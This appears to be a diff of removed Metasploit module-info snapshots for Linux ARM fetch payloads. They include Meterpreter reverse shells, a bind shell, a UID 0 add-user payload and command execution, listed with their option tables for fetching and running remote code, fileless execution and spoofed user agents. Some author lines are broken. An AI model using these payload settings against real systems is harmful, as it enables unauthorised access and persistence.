|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME shDguViqh no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an AARCH64 payload from an HTTP server.
|
|
||||||
Connect back to attacker and spawn a command shell
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,104 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch
|
|
||||||
Module: payload/cmd/linux/http/armbe/meterpreter_reverse_http
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 102
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
|
|
||||||
Evasion options for payload/cmd/linux/http/armbe/meterpreter_reverse_http:
|
|
||||||
=========================
|
|
||||||
|
|
||||||
cook@rapid7.com>
|
|
||||||
timwr
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The local listener hostname
|
|
||||||
LPORT 8080 yes The local listener port
|
|
||||||
LURI no The HTTP Path
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME StuziyPw no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an ARMBE payload from an HTTP server.
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
HttpServerName Apache no The server header that the handler will send in response to requests
|
|
||||||
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
|
|
||||||
HttpUserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.2903.86 no The user-agent that the payload should use for communication Max parameter length: 255 characters
|
|
||||||
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
|
|
||||||
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
|
|
||||||
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
|
|
||||||
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,106 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch
|
|
||||||
Module: payload/cmd/linux/http/armbe/meterpreter_reverse_https
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 114
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
|
|
||||||
Evasion options for payload/cmd/linux/http/armbe/meterpreter_reverse_https:
|
|
||||||
=========================
|
|
||||||
|
|
||||||
ok@rapid7.com>
|
|
||||||
timwr
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The local listener hostname
|
|
||||||
LPORT 8443 yes The local listener port
|
|
||||||
LURI no The HTTP Path
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME XhqxIbdAADBV no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an ARMBE payload from an HTTP server.
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
HttpServerName Apache no The server header that the handler will send in response to requests
|
|
||||||
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
|
|
||||||
HttpUserAgent Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 no The user-agent that the payload should use for communication Max parameter length: 255 characters
|
|
||||||
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
|
|
||||||
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
|
|
||||||
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
|
|
||||||
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StagerVerifySSLCert false no Whether to verify the SSL certificate in Meterpreter
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,97 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch
|
|
||||||
Module: payload/cmd/linux/http/armbe/meterpreter_reverse_tcp
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 105
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Brendan Watters
|
|
||||||
Spencer McIntyre
|
|
||||||
Adam Cammack <adam_cammack@rapid7.com>
|
|
||||||
Brent Cook <brent_cook@rapid7.com>
|
|
||||||
timwr
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME aubpeJLQm no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an ARMBE payload from an HTTP server.
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,72 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch, Linux ARM Big Endian Command Shell, Bind TCP Inline
|
|
||||||
Module: payload/cmd/linux/http/armbe/shell_bind_tcp
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 0
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Brendan Watters
|
|
||||||
Spencer McIntyre
|
|
||||||
Balazs Bucsay @xoreipeip <balazs.bucsay[-at-]rycon[-dot-]hu>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
CMD /bin/sh yes The command to execute.
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST yes Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
RHOST no The target address
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME ftrEeBVpS no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an ARMBE payload from an HTTP server.
|
|
||||||
Listen for a connection and spawn a command shell
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,70 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch, Linux Add User
|
|
||||||
Module: payload/cmd/linux/http/armle/adduser
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: Yes
|
|
||||||
Total size: 108
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Brendan Watters
|
|
||||||
Spencer McIntyre
|
|
||||||
Jonathan Salwan
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST yes Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
PASS metasploit yes The password for this user
|
|
||||||
SHELL /bin/sh no The shell for this user
|
|
||||||
USER metasploit yes The username to create
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME CXQGzVAHjB no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an ARMLE payload from an HTTP server.
|
|
||||||
Create a new user with UID 0
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,68 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch, Linux Execute Command
|
|
||||||
Module: payload/cmd/linux/http/armle/exec
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 114
|
